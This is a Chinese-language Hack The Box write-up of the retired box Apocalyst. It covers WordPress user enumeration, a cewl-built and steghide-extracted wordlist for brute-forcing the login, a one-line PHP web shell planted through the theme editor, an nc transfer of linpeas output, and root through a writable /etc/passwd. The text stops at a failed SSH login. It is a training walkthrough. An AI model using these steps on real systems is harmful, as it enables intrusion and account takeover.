后续将不会把自己之前攻略过每个 Box 的解题过程都写一遍(还有好几十个呢),会选择性挑选一些有代表性的、能扩展思路并且贴合实战的来分享。毕竟,已解的130+多个Box撰写到公众号,一是码字排版速度慢,二是跟不上HTB每周出一个新Box的解题速度…
概述 (Overview)
HOST: 10.10.10.46
OS: LINUX
发布时间: 2017-08-19
完成时间: 2021-09-18
机器作者: Dosk3n
困难程度: MEDIUM
机器状态: 退休
MACHINE TAGS: #Wordpress #Arbitrary_File_Write #Cewl
攻击链 (Kiillchain)
通过 Nmap 识别目标服务器开放端口,浏览器查看Web服务知悉部署服务为 WordPress,使用该服务特定的扫描工具 wpscan 进行枚举发现后台登录账号用户名。使用 Cewl 抓取网站内容生成密码字典,随后进行登录枚举,成功进入应用后台。使用后台的主题编辑功能写入WebShell,成功拿到目标服务器的立足点。最后,使用滥用的文件权限操作成功完成权限提升。
枚举(Enumeration)
老样子,使用 Nmap 对目标服务器开放端口进行枚举:
PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 2048 fd:ab:0f:c9:22:d5:f4:8f:7a:0a:29:11:b4:04:da:c9 (RSA) | 256 76:92:39:0a:57:bd:f0:03:26:78:c7:db:1a:66:a5:bc (ECDSA) |_ 256 12:12:cf:f1:7f:be:43:1f:d5:e6:6d:90:84:25:c8:bd (ED25519) 80/tcp open http |_http-generator: WordPress 4.8 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Apocalypse Preparation Blog
可以看到暴漏的端口仅有两个,且从 http-generator 中可以得到 Web 服务的指纹信息,说明这又是一道 Web Box。
Port 80 - WordPress
、
通过查看页面源代码可以获知当前站点的虚拟主机域名为:apocalyst.htb,通过 hosts 绑定后访问发现站点并没有出现新的变化。
立足点(Foothold)
对于 WordPress 站点最高效的枚举工具则是 wpscan,专注于 WP 的安全扫描工具。默认的枚举信息受限,可以注册一个免费的账号获取 API Token,但是使用 CLI 工具每天能发出 75 个 API 请求。
$ wpscan --url http://10.10.10.46 -e "vt,tt,u,ap" --api-token <Token>
- -e :这是一个复合参数用于自定义需要枚举的功能模块
- vt:只枚举存在漏洞的主题
- tt:列举缩略图相关的文件
- u:枚举用户名,默认从1-10
- ap:枚举所有插件,时间较长
随后通过长时间的枚举并没有得到具有 Vul 的信息,不过得到了站点的账户信息:
http://apocalyst.htb/?author=1 --> falaraki
尝试对站点目录进行枚举,看看有没有隐藏什么关键信息。
$ gobuster dir -u http://apocalyst.htb -w /home/kali/tools/DictionaryTools/IntruderPayloads/Repositories/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -k -f -t 30
这里有个问题,就是使用 gobuster 进行枚举时,返回的 Size 值一直在固定的区间(可能是我当时没加 -r 参数导致),对结果的判断不够明显,改为使用 dirsearch 进行扫描:
可惜依然没有有效的信息,一度认为是 Box 有问题重启了两次。子域名也扫过了,没有新的信息只能去官方论坛里去找信息。看到有人提示 cewl 工具,难道又是这种无脑题(有些CTF题会用这种无脑的方式,将密码进行隐藏。就很那是什么…SB)?尝试一下
$ cewl apocalyst.htb -w apocalyst.htb.wordlist --with-numbers
将站点上单词、带数字的单词等做成字典,使用 dirsearch 工具再次进行扫描得到一个新的目录:
访问这个目录看到一张图片,它有一个很奇怪的注释信息 needle。
图片下载至本地使用 exiftool、binwalk 分析后均没发现什么异常,根据CTF图片隐写相关进行搜索发现 steghide 工具,使用它对图片进行信息查看时发现存在隐藏内容:
使用 steghide 对文件内容进行提取,密码是空的能直接得到文件:
steghide extract -sf image.jpg
Enter passphrase: <---空密码
wrote extracted data to "list.txt".
使用得到的新文件进行各种登录碰撞,先进行的 SSH 爆破失败,转而使用 wpscan 爆破 falaraki 用户的登录:
$ wpscan --url http://apocalyst.htb --usernames falaraki --passwords list.txt ...snip... [!] Valid Combinations Found: | Username: falaraki, Password: Transclisiation ...snip...
接下来就比较简单了,使用这个密码成功进入 wp 的管理后台,找到主题编辑功能写入自定义的 PHP WebShell:
再次编辑,保存一句话脚本:
<?php system($_REQUEST[cmd]); ?>
验证脚本被正确执行,使用它进行反弹 shell 拿到目标服务器的立足点。
权限提升(Privilege Escalation)
首先查看 /var/www/html/apocalyst.htb/wp-config.php 文件,尝试密码复用碰撞失败:
/** The name of the database for WordPress */
define('DB_NAME', 'wp_myblog');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'Th3SoopaD00paPa5S!');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
进而查询 mysq 中的用户表,发现里面只有一个 falaraki。在没有取得更大信息收获的情况下,将 linpeas 脚本传递至目标服务器,运行脚本进一步深度收集信息,随后将执行结果通过 NC 传递回 kali:
接收方-->>>>> kali@$ nc -l -p 9901 >./linpeas.txt 发送方-->>>>> nc -w 5 10.10.17.64 9901 < ./linpeas.txt
从分析的结果中发现 /etc/passwd 存在 0666 权限:
至此,提权方式就很简单了,我们只需要自定义 root 用户的密码就能完成权限提升。这种方式在之前的 Bank 靶机中见 IPPSEC 用过,并在 Teacher 靶机中也有利用。
可见: Bank-Writeup | 0x584A的个人博客、Teacher-Writeup | 0x584A的个人博客
使用 openssl 生成一个自定义的密码哈希,将它写入到 /etc/passwd 文件中:
最后只需要进行外部的 ssh 登录就行了:
$ ssh root@10.10.10.46
root@10.10.10.46's password:
Permission denied, please try again.